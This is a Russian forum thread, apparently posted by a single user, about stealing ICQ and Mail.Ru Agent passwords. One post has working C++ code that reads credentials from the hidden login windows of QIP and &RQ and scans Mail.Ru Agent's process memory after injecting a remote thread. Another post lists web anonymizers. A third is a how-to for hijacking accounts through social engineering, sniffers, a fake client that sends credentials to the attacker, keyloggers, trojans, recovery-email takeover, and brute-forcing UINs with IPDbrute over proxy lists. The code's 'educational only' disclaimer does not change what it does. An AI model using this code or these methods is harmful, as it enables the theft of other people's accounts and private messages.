    Бесплатный интернет-пейджер, написанный и поддерживаемый российским программистом. У QIP миллионы поклонников, которые любят его за удобство, кучу скинов и массу других полезных возможностей.
    Если у вас еще нет этого ICQ-клиента - вперед на сайт разработчика за последней версией. Устанавливаем, запускаем.

    Открывшееся окно предлагает нам ввести данные авторизации, либо завести новую учетную запись. Не важно, зарегистрируете ли вы новый аккаунт, или будете заходить со своими учетными данными. Двигаемся дальше.

    QIP любезно предоставляет нам возможность сохранить пароль. Пароль мы сохранять не будем. Пока оставляем QIP в покое и открываем Spy++. Жмем Alt+F3 и открываем диалог поиска окна. Берем мышкой Finder Tool и кидаем его на окно менеджера учетных записей QIP'а.



    Нажимаем Ok и Spy++ показывает нам в списке окон нужное нам окно - "QIP - Спокойное общение!", имя класса которого TManForm. На нем дерево дочерних окон, обеспечивающих интерфейс подключения к серверу. Нас интересуют TGroupBox, TComboBox на нем и TEdit. Это как раз наши UIN и пароль. Запомним название классов.

    Переходим снова в окно QIP и нажимаем кнопку "Подключиться".

    Диалог входа закрылся. Можно общаться. Но проверим, закрылось ли окно диалога? Обновим список окон в Spy++ (клавиша F5) и попробуем снова найти окно авторизации QIP. Нажимаем Alt+F3 и вводим параметры поиска. Для того чтобы найти окно нам надо указать хотя бы один параметр: Handle - уникальный идентификатор окна, Caption - надпись формы, Class - имя класса окна. Мы будем искать по классу.

    Вводим в поле Class класс окна TManForm. Жмем Ok.



    Что мы видим? Окно не закрылось. Оно просто невидимо... Попробуем прочитать поля с данными авторизации. Для этого используем стандартный механизм общения окон и системы в Windows - сообщения.

    Начинаем программировать.

    void main()
    {
    // Объявим переменные, необходимые для работы
    HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
    char* pUIN; // Указатель на буфер для UIN
    char* pPass; // Указатель на буфер для пароля
    int iUIN; // Длина UIN
    int iPass; // Длина пароля

    // Найдем окно диалога авторизации
    hManForm=FindWindow("TManForm",0);
    // Расположенная на нем группа элементов управления
    hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);

    // Список с UIN'ами
    hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
    // Получим длину текста в списке
    iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
    // Выделяем необходимую память для буфера
    pUIN=(char*)LocalAlloc(0, iUIN);
    // Получим непосредственно текст
    SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);

    // Поле с паролем
    hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
    // Дальше все по аналогии с UIN'ом
    iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
    pPass=(char*)LocalAlloc(0, iPass);
    SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

    //Выведем что получилось
    cout << "[!!!]Found for: "<< pUIN << "tPassword: " << pPass;

    // Освободим память
    LocalFree(pUIN);
    LocalFree(pPass);
    }

    Сохраняем, компилируем, запускаем. Что у нас получилось? Если все сделано верно, то программа вернет строку, содержащую ваш UIN и пароль.



    Следует заметить, что если мы запустим QIP, в котором предварительно была установлена опция "Сохранить пароль", то данный метод получения пароля работать не будет, так как в поле пароля находится текст "". Видимо, разработчик, краем уха все-таки слышал про безопасность.
    Взлом паролей &RQ

    Так же бесплатный и не менее популярный, чем QIP, ICQ-клиент, который ласково называют "крысой". Крыса поддерживает плагины, скины и поддерживается сообществом разработчиков.

    Качаем последнюю стабильную версию с офсайта и начинаем исследование.

    После запуска &RQ предлагает нам создать новый профиль, для чего надо указать свой UIN, либо зарегистрировать новый. Далее предлагается выбрать язык интерфейса и программа благополучно стартует. Для того, чтобы крыса подключилась к серверу, надо выбрать статус "Онлайн". Программа запрашивает пароль и подключается. Можно указать программе что надо подключаться автоматически при старте, для этого надо в настройках (Alt+P) поставить опцию "Соединяться при запуске" на фрейме "Запуск". Это не обязательно. Для нас же важна опция "Не сохранять пароль", в категории "Безопасность" настроек. Выставляем ее.

    Переходим на фрейм "Соединение". Чем примечательна для нас данная категория? Тем, что здесь есть поле "Пароль". Запомним это обстоятельство. Пока же закроем крысу.

    Откроем ее заново. Для подключения нам надо указать пароль, ведь мы выставили опцию "Не сохранят пароль". Введем пароль, подключимся. Снова вызовем диалог настроек. Удивительно, но поле "Пароль" содержит текст. Это наш пароль? Проверим.



    Воспользовавшись утилитой Spy++, узнаем имена классов окон &RQ, и начнем писать код.

    void main()
    {
    // Объявим переменные, необходимые для работы
    HWND hmainFrm,hprefFrm,hPanel,hconnectionFr,hEdit; // Идентификаторы форм
    char* pUIN; // Указатель на буфер для UIN
    char* pPass; // Указатель на буфер для пароля
    int iUIN; // Длина UIN
    int iPass; // Длина пароля

    // Основное окно &RQ. Из него мы будем получать UIN
    hmainFrm=FindWindow("TmainFrm",0);
    // Длина текста
    iUIN=SendMessage(hmainFrm, WM_GETTEXTLENGTH, 0, 0)+1;
    // Выделяем буфер
    pUIN=(char*)LocalAlloc(0,iUIN);
    // Получаем заголовок основного окна - это UIN
    GetWindowText(hmainFrm,pUIN,iUIN);

    /*
    Следует учитывать, что при запуске &RQ, окно настроек
    не открывается вместе с основным окном. Но что же нам
    мешает его открыть? Тем более что нам любезно предоставлена
    возможность использовать горячие клавиши (Alt+P). Вот
    и эмулируем их нажатие.
    */
    // Эмуляция Alt+P - горячей клавиши для вызова окна "Настройки"
    SendMessage(hmainFrm, WM_SYSKEYDOWN, 'P', 0x20000000);
    SendMessage(hmainFrm, WM_SYSKEYUP, 'P', 0x20000000);

    // Находим окно настроек
    hprefFrm=FindWindow("TprefFrm",0);
    // Панель с категориями настроек
    hPanel=FindWindowEx(hprefFrm,0,"TPanel",0);
    // Фрейм с настройками подключения
    hconnectionFr=FindWindowEx(hPanel,0,"TconnectionFr",0);
    // Поле с паролем
    hEdit=FindWindowEx(hconnectionFr,0,"TEdit",0);

    // Длина пароля
    iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
    // Выделаем буфер
    pPass=(char*)LocalAlloc(0,iPass);
    // Получаем пароль
    SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);

    // Выводим результат
    cout << "[!!!]Found for: "<< pUIN << "tPassword: " << pPass;

    // Освободим память
    LocalFree(pUIN);
    LocalFree(pPass);
    }

    После выполнения программы можно убедиться, что и данный пример работает. Мы получили наш пароль. При этом, если QIP в случае сохранения пароля на диске скрывает пароль, то &RQ не заботится о том, как был введен пароль. В окне настроек пароль можно обнаружить всегда.

    Единственный нюанс заключается в том, что &RQ не открывает окно настроек после старта, хотя единожды открытое окно настроек после закрытия опять же не закрывается, а просто становится невидимым. В исходном коде мы использовали горячую клавишу, чтобы быть уверенными, что окно настроек открыто.
    Взлом паролей Mail.Ru Агент

    Очередное средство общения в сети, предоставляемое компанией Mail.Ru. Работает по собственному протоколу, имеет возможность голосового общения с выходом на внешние телефонные номера. Имеет кучу возможностей и соответственно, поклонников, которые пользуются им ежедневно.

    В случае с Mail.ru Агентом мы будем использовать другой подход. Чуть более сложный, но не менее эффективный. Окна искать мы не будем. Попробуем найти пароль в памяти процесса.

    Итак, качаем, устанавливаем, регистрируемся если надо и запускаем.

    Агент поддерживает несколько аккаунтов пользователей, и список их хранит в реестре. В ветке HKEY_CURRENT_USERSoftware Mail.RuAgentmagent_logins он создает столько REG_BINARY параметров, сколько аккаунтов зарегистрировано на локальном компьютере. Ключи при этом называются следующим образом: NNN#ваш_email_адрес, где NNN - порядковый номер аккаунта.

    Посмотрим, есть ли в памяти процесса email-адрес. Для этого воспользуемся утилитой PE Tools, которая позволяет сделать дамп процесса.



    Сохраняем дамп, загружаем его в Hex Workshop. Жмем Ctrl+F для открытия диалога поиска. Выбираем режим Text String и в поле Value вводим наш email-адрес. Нажимаем Ok и редактор выделяет найденный текст. Вы уже заметили? Через 4 байта от email-адреса находится пароль! Что это за 4 байта? Это 32-х битное значение длины пароля. Перед email-адресом тоже есть его длина. Вот и все, осталось только автоматизировать процесс поиска, чем мы и займемся.

    // Функция возвращает хэндл процесса magent.exe
    HANDLE GetProcess()
    {
    HANDLE hProcessSnap; // Хэндл снимка процессов
    PROCESSENTRY32 pe32; // Структура, содержащая информацию о процессе

    // Делаем снимок процессов
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hProcessSnap == INVALID_HANDLE_VALUE) return 0;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // Перебираем снимок
    if(!Process32First(hProcessSnap,&pe32)) {CloseHandle(hProcessSnap);return 0;}
    do
    {
    // Сравниваем имя файла с magent.exe
    if(!lstrcmp(strupr("magent.exe"),strupr(&pe32.szExeFile[0])))
    {
    // Нашли нужный процесс, вернем его хэндл
    return OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
    }
    } while( Process32Next(hProcessSnap,&pe32));
    // Закрываем снимок процессов
    CloseHandle( hProcessSnap );
    return 0;
    }

    void main()
    {
    HKEY hKey; // Идентификатор ключа реестра
    DWORD i,t, retCode, cValues = 256; // Необходимые промежуточные переменные
    char regValue[MAX_PATH]; // Буфер для чтения ключа реестра
    DWORD cchValue = 1024; // Размер буфера
    HANDLE hProcess; // Хэндл процесса
    char szEmail[MAX_PATH]; // Буфер для email-адреса
    int iEmail; // Длина email-адреса
    HMODULE hModule; // Хэндл модуля
    MODULEINFO modinfo; // Структура, содержащая информацию о модуле
    DWORD dwReaded; // Количество байт в дампе процесса
    char szPass[128]; // Буфер для пароля
    bool found; // Флаг найден/не найден пароль
    char* pTmp; // Временный буфер

    hProcess=GetProcess();
    if (hProcess)
    {
    // Получаем хэндл модуля по хэндлу процесса,
    // для чего временно создаем новый поток
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
    (LPTHREAD_START_ROUTINE)GetModuleHandle, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    GetExitCodeThread(hThread, (LPDWORD)&hModule);
    CloseHandle(hThread);

    // Получаем информацию о загруженном модуле
    GetModuleInformation(hProcess,hModule,&modinfo,sizeof(MODULEINFO));

    // Буфер для дампа
    PBYTE pBuffer = new BYTE[modinfo.SizeOfImage];
    // Читаем дамп
    ReadProcessMemory(hProcess, modinfo.lpBaseOfDll, pBuffer,
    modinfo.SizeOfImage, &dwReaded);
    if (dwReaded>0)
    {
    // Открываем ключ реестра
    if (RegOpenKeyEx(HKEY_CURRENT_USER,"SoftwareMail.RuAgent
    magent_logins",0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
    {
    for (t = 0, retCode = ERROR_SUCCESS; t < cValues; t++)
    {
    // Перебираем по очереди параметры ключа реестра для поиска email'ов в дампе
    retCode = RegEnumValue(hKey, t, regValue, &cchValue, NULL, NULL, NULL, NULL);
    if (retCode == ERROR_SUCCESS)
    {
    // Первые 4 байта имени параметра это номер, его пропускаем. Далее идет адрес.
    lstrcpy(szEmail,(const char*)®Value[4]);
    iEmail=lstrlen(szEmail);
    // Выделяем буфер, в который будем заносить сравниваемые участки дампа
    pTmp=(char*)LocalAlloc(0,iEmail);
    found=FALSE;
    // Двигаемся по дампу
    for (i=0;i {
    if (found){i=dwReaded;} //Заканчиваем перебор
    // Берем очередной участок дампа для сравнения
    memcpy(&pTmp,&pBuffer,iEmail);
    // Сравниваем
    if (!memcmp(&pTmp,szEmail,iEmail))
    {
    // Через 4 байта после адреса находится пароль.
    memcpy(szPass,&pBuffer[i+iEmail+4],sizeof(szPass));
    // Пароль найден. Выводим результат.
    cout << "[!!!]Found for : " << szEmail << "tPassword: " << szPass;
    found=TRUE;
    }
    }
    LocalFree(pTmp);
    }
    }
    RegCloseKey(hKey);
    }
    }
    }
    }

    Компилируем, запускаем, получаем пароль. Все просто.
    Заключение

    Какой можно сделать вывод? Даже если мы не храним конфиденциальную информацию на жестком диске, она является уязвимой. Всегда можно найти кучу способов получить закрытую информацию, а многие из этих способов будут настолько просты и неожиданны, что их может обнаружить каждый. Надо лишь мыслить нестандартно и все у вас получится.

    Все вышеприведенные примеры направлены на привлечение более пристального внимания разработчиков программ к проблеме информационной безопасности. Приведенный автором код не претендует на уникальность и универсальность, тем не менее, принцип получения информации, применим ко многим программным продуктам.

    Код примеров можно модифицировать, но использовать настоятельно рекомендуется только в образовательных целях.
     
  19. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Анонимайзеры (CGI proxy) - это web-страница, адрес которой нужно просто набрать в панели адреса браузера. Не нужно изменять никаких настроек программ, настраивать браузер и т.д. - достаточно просто открыть web страницу. Другие программы (кроме браузеров) в 99,9% случаев не умеют использовать анонимайзеры.
    Поскольку CGI proxy - это web-страница, то адрес такого ****** начинается с http:// или https:// и содержит путь к web странице. Анонимайзер (как правило) не имеет номера порта.
    Если простым языком, то это web proxy, с виду обычная web-страничка Делаеманонимайзер, как hideme.ru. . Вы просто заходите на сайт с web proxy, наберите в строке запроса нужный Вам URL, и нажмите кнопку "Go", "Просмотр" и тому подобное (эта процедура очень похожа на поиск в поисковых системах). После этого откроется страница запрошенного Вами сайта, но адресом ее будет адрес CGI proxy.

    Приведу некоторые популярные и довольно хорошые анонимайзеры.
    Для начала, вот url, как пример, но довольно популярный, чтобы определить Ваш реальный IP адрес - http://myip.dk/ . А теперь приступим:

    1. Anonymouse - отличный анонимазер. Может не только анонимно просматривать страницы, но также отправлять анонимные сообщения по почте и смотреть новости.

    http://anonymouse.org/anonwww.html
    или первоначально
    http://anonymouse.org/


    2. ASteam - довольно удобный анонимайзер, прост в использовании, легко настраивается под свои нужны.

    http://anonymizer.asteam.ru/


    3. HideMyAss - бесплатный анонимный сервис анонимайзера, который действительно помогает скрыть Ваш реальный IP адрес!


    http://www.hidemyass.com/

    4. ShadowSurf free anonymous proxy - приватный и 100% анонимный серфинг по интернету с помощью ShadowSurf ******. Вы можете получить доступ к заблокированным сайтам, при этом Ваш IP адрес будет не виден. Не требует установки программ.

    http://www.shadowsurf.com/
     
  20. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Техника взлома ICQ (аськи) всегда привлекала начинающих Хакеров, впервую очередь своей легкостью и доступностью. Но, как правило, новички, освоив один из способов взлома, ограничиваются лишь им одним, забывая о том, что любой взлом, на самом деле, сам по себе очень интересный и творческий процесс... В общем без фантазии и бутылки пива порой просто не разобраться. Понял, что нужно делать? Да нет! Не за пивом бежать, а подключать фантазию!

    В этой статье я помогу тебе разобраться с некоторыми способами угона номера ICQ. А что бы, после публикации этой статьи, с точки зрения законодательства я не перешел в категорию преступник, и не рисковал следующие пять лет провести вне дома (у меня ж за это время все аккаунты анрегнуться, да и девушка не поймет), я просто обязан запретить тебе использовать полученные в этой статье навыки по назначению, т.к. это противозаконно, неправильно, и вообще - не этично. Мы ведь с тобой люди порядочные, и закон своей страны чтим и уважаем! Или нет?! Ну нет, так нет... Но я предупредил!

    И так... Поехали по порядку:
    ------------------------------------------------------


    Социальная инженерия

    Ты думаешь это не работает? Ты абсолютно прав - это не работает! А пока Ты и остальные будут так думать, настоящие, талантливые Хакеры Соц. Инженеры будут пожинать свой урожай. Если ты понятия не имеешь, о чем речь - я попробую тебе описать этот метод в двух словах.

    Социальная Инженерия (СИ) - это метод атаки, при котором Хакеру вовсе не обязательно знать всю подноготную icq-протокола, базовых знаний Интернет , аспектов программирования, и прочей такой трудной и занудной чепухи. Проще говоря это атака не на программное обеспечение пользователя, и вовсе не атака на сервисы ICQ-Серверов free keylogger download . Это атака на человека. Используя познания в психологии и обладая достаточным обоянием можно запросто войти в доверие к жертве и обмануть наивного юзера (Ну и мерзость).

    Но канули в прошлое те времена, когда пользователи были настолько тупые, что позволяли легко обмануть себя, получив сообщение вида "Бла-бла-бла, служба ICQ произвела модернизацию программного обеспечения, в ходе которой часть паролей была утрачена. Просим Вас повторно выслать туда-то туда-то пароль на своей номер ICQ. В противном случае Ваш аккаунт будет удален". Силен тот СИ-Хакер, который в своей деятельности использует как психологические, так и технологические навыки. А уж если он идет в ногу со временем, то ему просто цены нет!

    Плюсы: Высокий шанс на удачу (зависит от IT-квалификации атакуемого пользователя).
    Минусы: Требует много внимания, времени, и определенных качеств Хакера.

    Пример использования данного метода:

    1) Ставим на своей домашний/университетский компьютер сокс/****** сервер (Также для этих целей можно пожертвовать несколько баксов и арендовать вдс).
    2) Настраиваем и конфигурируем его таким образом, что бы все действия и весь траффик грамотно ложился в какой-нибудь файл, например Log.txt
    3) Под любым предлогом вынуждаем пользователя воспользоваться им. Чаще всего - вынуждать даже не прийдется. Намекнув, что якобы это сверх быстрый, анонимный, и супер шикарный ******-сервер, у Вас его должны с руками оторвать.
    4) Ловим пароль в чистом (или не очень) виде.

    Ну как тебе? Правильно! Ерунда все это... Слишком много возни. Идем дальше.
    ------------------------------------------------------


    Ставим Нюхача.

    Ты должно быть воскликнешь: "О май гад! Вот зе фак? Что за нюхач? Не-не-не". Спокойствие и только спокойствие! (с) Нюхач, это один из вариантов перевода слова Sniffer. Если проще сниффер это один из инструментов программиста и системного администратора, который способен перехватывать и анализировать весь сетевой траффик на уровне протокола или чуть выше. В том числе, он способен подсмотреть и пароль, который ICQ-клиент жертвы отправляет на сервер при коннекте. Ну а настоящий Хакер любит использовать инструменты системных администраторов в своих целях.

    Что, если компьютер жертвы настолько защищен, что поставить удаленно снифер на него не возможно? Рано отчаиваться! Ведь его траффик прежде чем попасть до конечного сервера, проходит через ряд транзитных. Можно попытаться поставить сниффер именно на один из них.

    Плюсы: Довольно действенный метод. Кроме ICQ, можно узнать еще много интересных вещей.
    Минусы: Сложности в реализации.
    ------------------------------------------------------


    Псевдоклиент.

    Если у тебя есть хоть какие-то навыки программирования на любом из компилируемых языков, то тебе не составит труда изготовить муляж какого-то, наиболее популярного, ICQ клиента. В обработчике нажатия клавиши "Подключиться" (или как она там у тебя) нужно приказать программе послать содержимое полей "Номер" и "Пароль" по указанному адресу. Например на почтовый ящик хакера, или прямиком в ему ICQ. Осталось только убедить пользователя воспользоваться этим клиентом под предлогом "новая супер версия" или просто заменив бинарный файл в каталоге программы. Смею заверить, если разместить этот файл на компьютере, где за один день сменяется множество пользователей (например в университете) результат не заставит себя долго ждать.

    Плюсы: Если наш "клиент" ни на пиксель не отличается от истинной программы пользователь ничего не заподозрит. Более того, сам откроет доступ программе, если файерволл будет ее блокировать.
    Минусы: Требует навыков программирования. Квалифицированный пользователь, обнаружив "подставу", может с помощью того же сниффера отследить адрес, по которому обращается программа, тем самым выявив хакера.
    ------------------------------------------------------


    Клавиатурный шпион

    Keylogger одно из излюбленнейших средств добычи конфиденциальной информации у хакеров и ревнивых супругов. Работает он предельно просто: Логгирует символы нажатых клавиш, и записывает в файл, который в последующем отправляет Хакеру.

    Плюсы: Широкий спектр применения.
    Минусы: "Палится" антивирусами. Блокируется файерволлом. Те же сложности с сниффером, как и в методе "Псевдоклиент"
    ------------------------------------------------------


    Прочие трояны.

    Стоп-стоп, а разве кейлоггер и псевдоклиент - это тоже трояны? Ответ на этот вопрос очевиден: да. Оба вышеизложенных метода используют программное обеспечение, которое позиционируется как троянское. В таком случае - что значит "прочие". Так вот... троянов на свете великое множество. Например во времена моей молодости (пару лет назад короче), хакеры очень активно использовали троян "Pinch" для похищения всевозможных паролей. Однако, насколько я знаю, теперь он в прошлом, во всяком случае актуальная версия этого трояна уже не актуальна. Но никто не мешает тебе написать собственного трояна (это не подстрекательство, разумеется только в исследовательских целях) и стырить несколько сотен паролей (в тех же самых целях, не больше).

    Плюссы: Плюсов масса.
    Минусы: Минусов масса.
    ------------------------------------------------------


    Атака на Primary E-mail

    Примари в переводе с латино-узбекского языка означает "первичный". Служба ICQ позволяет указывать свой PM, на который будет выслан пароль, в случае, если хозяин номера забыл его. С хакерами часто бывает, что они забывают пароли от всевозможных номеров, е-мэйлов и аккаунтов. Если завладеть примари пользователя, можно смело отправляться на www.icq.com/password/ и пытаться восстановить пароль.

    Плюсы: Метод действует на сто процентов.
    Минусы: Примари может и не существовать.
    ------------------------------------------------------



    Дополнение от TaU:

    Взлом ICQ UIN при помощи IPDbrute

    Нам понодобятся 2 програмульки:
    IPDbrute(либо другие подобные) и UIN;PASS Generator_v1.4 (либо другие подобные генераторы)

    Итак. На примере IPDbrute2 Lite и UIN;PASS Generator_v1.4 делаем следущее:
    1. Запускаем UIN;PASS Generator v1.4. Он нам нужен для создания файла со списком ICQ ; pass
    В поле "Делать с" - вводим номер ICQ, с которого мы начнем генерировать список в этой программе.
    В следующем поле вводим конечный номер ICQ.
    В поле "Делать каждые" оставляем 1.
    В поле "записывать в" вводим название файла, в который будут записываться сгенерированные UIN - ы и пароли.
    В качестве разделителя используем предложенный по умолчанию ";".
    В поле "пароль" вписываем пароль, который будет подставляться при взломе ( например, 12345 )
    Нажимаем кнопку "Create".
    2. В Интернете ищем списки анонимных ****** и копируем их в текстовый файл. Чем больше, тем лучше.
    3. Запускаем программу IPDBrute 2 Lite. Для начала, нам нужно настроить IPDBrute 2 Lite - нажимаем кнопку "Config...".

    Source uin;pass list file: - путь к файлу, который мы сгенерировали при помощи UIN;PASS Generator v1.4.
    Dump incorrect passwords to this file: - cюда будут записываться список ась с паролями, которые вы не смогли взломать.
    Dump correct passwords to this file: - cюда будет записываться список ась с паролями, которые вы взломаете.
    Threads: - количество потоков, по которым работает программа. Это зависит от скорости вашего Интернета. Пробуйте разные числа и найдите оптимальное для вашего соединения
    Cleanup every: 30 minutes - убираем эту галочку.
    Proxies list file: - путь к файлу с адресами анонимных ****** серверов.
    Далее жмем на кнопку "OK".
    Теперь жмем кнопку "Start"
    ICQ номера, которые ты взломал, будут писаться в good.txt.
    Вот и всё! Удачи;)
     
Загрузка...
Top